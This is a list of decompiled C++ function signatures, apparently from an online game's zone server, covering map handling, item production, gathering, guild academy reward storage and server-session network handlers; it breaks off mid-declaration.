DropLoc::SameDistanceCluster::SameDistanceCluster(DropLoc::SameDistanceCluster *this); void __thiscall DropLoc::SameDistanceCluster::_SameDistanceCluster(DropLoc::SameDistanceCluster *this); void __thiscall DropLoc::SameDistanceCluster::sdc_shuffle(DropLoc::SameDistanceCluster *this); void __thiscall DropLoc::SameDistanceCluster::sdc_Init(DropLoc::SameDistanceCluster *this, int number); void __thiscall DropLoc::SameDistanceCluster::sdc_Setsixpoint(DropLoc::SameDistanceCluster *this, int x1024, int y1024); char __thiscall DropLoc::SameDistanceCluster::sdc_Getdelta(DropLoc::SameDistanceCluster *this, int sub, SHINE_XY_TYPE *loc, int scale); void __thiscall DropLocationManager::DropLocationManager(DropLocationManager *this); void __thiscall DropLocationManager::_DropLocationManager(DropLocationManager *this); void __thiscall DropLocationManager::dlm_Load(DropLocationManager *this); void __thiscall DropLocationManager::dlm_home(DropLocationManager *this, int startcluster); char __thiscall DropLocationManager::dlm_next(DropLocationManager *this); char __thiscall DuplicatedMenuControl::dmc_CanMenuOpen(DuplicatedMenuControl *this, unsigned __int16 menu); ItemEquipEnum __thiscall EquipEnumChanger::eec_EquipLocation(EquipEnumChanger *this, ItemInfoServer *iis, ItemBag *equipment); void __thiscall EquipEnumChanger::eec_ConflictWithNewEquip(EquipEnumChanger *this, ItemInfoServer *iis, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, InventoryLocking::InventoryCellLockList *lock); void __thiscall EquipEnumChanger::eec_ConflictWithOldEquip(EquipEnumChanger *this, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, ItemEquipEnum equipslot, InventoryLocking::InventoryCellLockList *lock); void __thiscall Name8::Name8(Name8 *this, const char *str); int __thiscall Name8::operator__(Name8 *this, Name8 *nm); void __thiscall VectorClass::VectorWithLength::_VectorWithLength(VectorClass::VectorWithLength *this); int __thiscall VectorClass::VectorWithLength::vwl_GetLength(int this); void __thiscall VectorClass::VectorWithLength::vwl_Scale(VectorClass::VectorWithLength *this, int newdist); void __thiscall MapLoadLog::mll_Write(MapLoadLog *this, Name3 *mapid); void __thiscall MapSubString::MapSubString(MapSubString *this, char *from, char *to); void __thiscall MapSubString::mss_Home(MapSubString *this); char *__thiscall MapSubString::mss_Get(MapSubString *this); char __thiscall MapSubString::mss_Next(MapSubString *this); signed int __thiscall FieldMap::fm_Regist2WMS(int this, int lst, __int16 hnd, int arg); int __thiscall FieldMap::fm_MoveCenter(int this, int xy); bool __thiscall FieldMap::fm_InMap(int this, int x, int y); void __thiscall MapRearrangeObserver::_MapRearrangeObserver(MapRearrangeObserver *this); void __thiscall AxialListNumberCount::_AxialListNumberCount(AxialListNumberCount *this); char __thiscall AxialListNumberCount::ali_Work(AxialListNumberCount *this, #325 *, #325 *, unsigned int); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall List::_List(List *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b); int __thiscall FieldMap::fm_Relink(_DWORD); // weak void __thiscall MapRearrangeObserver::MapRearrangeObserver(MapRearrangeObserver *this); void __thiscall MapRearrangeObserver::mro_Set(MapRearrangeObserver *this, char *idx); void __thiscall FieldMap::fm_DistrubuteCalculate(void *this, int map, int *ply, int *mob); signed int __thiscall FieldMap::fm_FindBlockLocation(void *this, int start, signed int distance, int div, int block, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)); int __thiscall FieldMap::fm_GetGuildTournamentSystem(void *this); char __thiscall FieldMap::fm_GuildTournamentEnemy(void *this, unsigned int a, unsigned int b); int __thiscall FieldMap::fm_GetSaveLinktoData(void *this); void __thiscall FieldMap::fm_SetSaveLinktoData(void *this, const void *rInfo); int __thiscall FieldMap::fm_GetCenterObject(void *this); char __thiscall FieldMap::fm_GetRegenCityLinkData(void *this, int pRegenCity); char __thiscall FieldMap::fm_IsStraightPath(void *this, int from, int to, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); int __cdecl ListFunctionCall(List *lst, PROTO_NC_MAP_REGIST_CMD *arg, int (__thiscall *func)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *)); void __thiscall List::l_Clear(List *this); int __thiscall FieldMap::fm_Init(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall FieldContainer::fc_MapRegist(FieldContainer *this, WorldManagerSession *wms); void __thiscall FieldContainer::fc_MakeField(FieldContainer *this, Name4 *world, FieldOption::FieldAttr *fldtemplet, Name3 *mapid, int serial, char machine); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall FieldContainer::fc_Load(FieldContainer *this, Name4 *world); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, ABSTATEINDEX *_Keyval); bool __thiscall FieldMap::fm_IsRefuseAbstate(std::_Tree,std::allocator,0> >::iterator this, int idx); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, ABSTATEINDEX *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall std::vector>::_Xlen(std::vector > *this); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, ABSTATEINDEX *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, RoutionInterface *const *_Val); void __thiscall FieldMap::fm_SetRefuseAbstate(void *this, int idx); void __thiscall FieldContainer::fc_AbstateInFieldLoad(FieldContainer *this); bool __thiscall ShineObjectClass::ShineAxialFlag::safm_SetLinkRoutionInterface(ShineObjectClass::ShineAxialFlag *this, RoutionInterface *pInterFace); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall FieldMap::_FieldMap(int this); void __thiscall FieldContainer::_FieldContainer(FieldContainer *this); int __thiscall FieldMap::fm_CreateGuildTournamentSystem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall List::l_PushA(List *this, #585 *ele); int __thiscall FieldMap::operator_(int this, int a2); std::_Tree,std::allocator,0> > *__thiscall std::_Tree_std::allocator_0>>::operator_(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *result); void __thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *_Right); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); char __thiscall List::l_PushZ(List *this, #585 *ele); char __thiscall List::l_PopA(List *this, #585 *ele); char __thiscall List::l_PopZ(List *this, #585 *ele); int __thiscall FieldMap::FieldMap(_DWORD); // weak int __thiscall ShineObjectClass::ShineObject::so_MapMarking(_DWORD, _DWORD); // weak void __thiscall FieldContainer::FieldContainer(FieldContainer *this); signed int __thiscall ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord(void *this); void __thiscall FunctionProfiler::FunctionPerformance::fp_Clear(FunctionProfiler::FunctionPerformance *this); void __thiscall FunctionProfiler::FunctionPerformance::fp_Report(FunctionProfiler::FunctionPerformance *this); void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionCallingAnalyzer::FunctionCallingAnalyzer(FunctionCallingAnalyzer *this); void __thiscall FunctionCallingAnalyzer::fca_NetCommandStorage(FunctionCallingAnalyzer *this, NETCOMMAND *nc); void __thiscall FunctionCallingAnalyzer::fca_printf(FunctionCallingAnalyzer *this, char *filename); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); int std::_Tree_std::allocator_0>>::_Buynode(...); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::mem_fun_ref_t *__cdecl std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last, std::mem_fun_ref_t _Func); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Report(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionProfiler::PerformanceRecorder::pr_SetCount(FunctionProfiler::PerformanceRecorder *this, int cnt); void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(FunctionProfiler::PerformanceRecorder *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, FunctionProfiler::FunctionPerformance *_Keyval); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Exit(FunctionProfiler::PerformanceRecorder *this, char *funcname); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, FunctionProfiler::FunctionPerformance *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, FunctionProfiler::FunctionPerformance *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Entrance(FunctionProfiler::PerformanceRecorder *this, char *funcname); void __thiscall FunctionProfiler::PerformanceRecorder::_PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionProfiler::PerformanceRecorder::PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this); void __thiscall GameDBSession::GameDBSession(GameDBSession *this); void __thiscall GameDBSession::_GameDBSession(GameDBSession *this); void __thiscall SocketBundle::sb_Varification(SocketBundle *this, GameDBSession *sock); void __thiscall GameDBSession::gds_DummyFunction(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_HEARTBEAT_REQ(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::GameLogSession(GameLogSession *this); void __thiscall GameLogSession::_GameLogSession(GameLogSession *this); void __thiscall GameLogSession::gls_DummyFunction(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_HEARTBEAT_REQ(GameLogSession *this, NETCOMMAND *netcmd, int len); SkillDataBox::SpecialSkill *__thiscall SkillDataBox::sdb_SpecSkillStruct(SkillDataBox *this); char __thiscall CharaterSkillList::csl_CoolTimeCheck(CharaterSkillList *this, #325 *, unsigned __int16); int __cdecl GatherProduce::RecipeBook::rb_Compare(const void *a, const void *b); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mob_CanGathered(#325 *this, #434 *, unsigned __int16 *); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall GatherProduce::GatherTable::GatherTable(GatherProduce::GatherTable *this); void __thiscall GatherProduce::GatherTable::gt_Load(GatherProduce::GatherTable *this); void __thiscall GatherProduce::RecipeBook::RecipeBook(GatherProduce::RecipeBook *this); void __thiscall GatherProduce::RecipeBook::_RecipeBook(GatherProduce::RecipeBook *this); void __thiscall GatherProduce::RecipeBook::rb_Load(GatherProduce::RecipeBook *this); unsigned __int16 __thiscall CharaterSkillList::csl_PreProduceCheck(CharaterSkillList *this, #434 *, unsigned __int16, GatherProduce::RecipeBook::ProductIndex *); signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_GatherCheck(void *this, int gathertype, int picker); unsigned __int16 __thiscall ShineObjectClass::ShineMob::so_mob_CanGathered(#434 *, unsigned __int16 *); int __thiscall ShineObjectClass::ShinePlayer::sp_GatherComplete(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ItemProducer::ItemProducer(ItemProducer *this, #434 *, ItemBag *, GatherProduce::RecipeBook::ProductIndex *); void __thiscall ItemProducer::_ItemProducer(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_WhereProductStore(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_FindRaw(ItemProducer *this, unsigned __int16 raw, int quantity); unsigned __int16 __thiscall ItemProducer::ip_ProduceCheck(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_ProductExecute(ItemProducer *this, #434 *, NETCOMMAND *, PROTO_NC_ITEMDB_PRODUCE_REQ *); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemProduce(void *ecx0, unsigned __int16 skill); void __thiscall GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Gather(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreGradeFill(int this, char Grade); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildAcademyRewardStoreGrade(int this); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ShineGuildAcademyRewardStorageDeactive::lid_Call(ShineGuildAcademyRewardStorageDeactive *this, #325 *, unsigned __int16); void __thiscall ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff(ShineGuildAcademyGuildBuff *this, PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *pGuildBuff); char __thiscall ShineGuildAcademyGuildBuff::lid_Call(ShineGuildAcademyGuildBuff *this, #325 *, unsigned __int16); char __thiscall ShineGuildAcademyMasterBuff::lid_Call(ShineGuildAcademyMasterBuff *this, #325 *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck(void *this, int reward_ack); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng(void *this, int reward); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MASTER_TELEPORT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_GUILD_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARDSTORAGE_GRADE_INFO_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ(void *this, int netcmd, int len, __int16 handle); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *), unsigned __int16 *hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle); // int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDeactivate(int a1, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck(void *this, int withdraw); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck(void *this, int deposit); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle); int __thiscall Name4::operator__(Name4 *this, Name4 *nm); unsigned int __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this); void __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this, unsigned int lot); char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int guild); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int gld); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCompare(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, List *lst, unsigned __int16 hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_StoreItem(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK *inven, #434 *sp); unsigned __int64 __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned __int64 set_cen); int __thiscall PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(int this, int a2); char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, SHINE_INVEN_SLOT_INFO slotinfo); int __thiscall PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(int this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewordSrorageItemInfoCmd(void *this, int iteminfo, char type); void __thiscall List::_List(List *this); void __thiscall ItemTotalInformation::iti_clear(ItemTotalInformation *this); void __thiscall ItemInventoryCell::iic_Clear(ItemInventoryCell *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::_GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(void *this, __int16 err); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(ShineGuildAcademyRewardStorageWithdraw *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(ShineGuildAcademyRewardStorageDeposit *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(ShineGuildAcademyRewardStorageItemInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); char __thiscall ShineGuildAcademyRewardStorageWithdraw::lid_Call(ShineGuildAcademyRewardStorageWithdraw *this, #325 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageDeposit::lid_Call(ShineGuildAcademyRewardStorageDeposit *this, #325 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::lid_Call(ShineGuildAcademyRewardStorageItemInfoZonRng *this, #325 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::lid_Call(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, #325 *, unsigned __int16); char __thiscall List::l_PushA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); char __thiscall List::l_PopA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); char __thiscall List::l_PopZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall 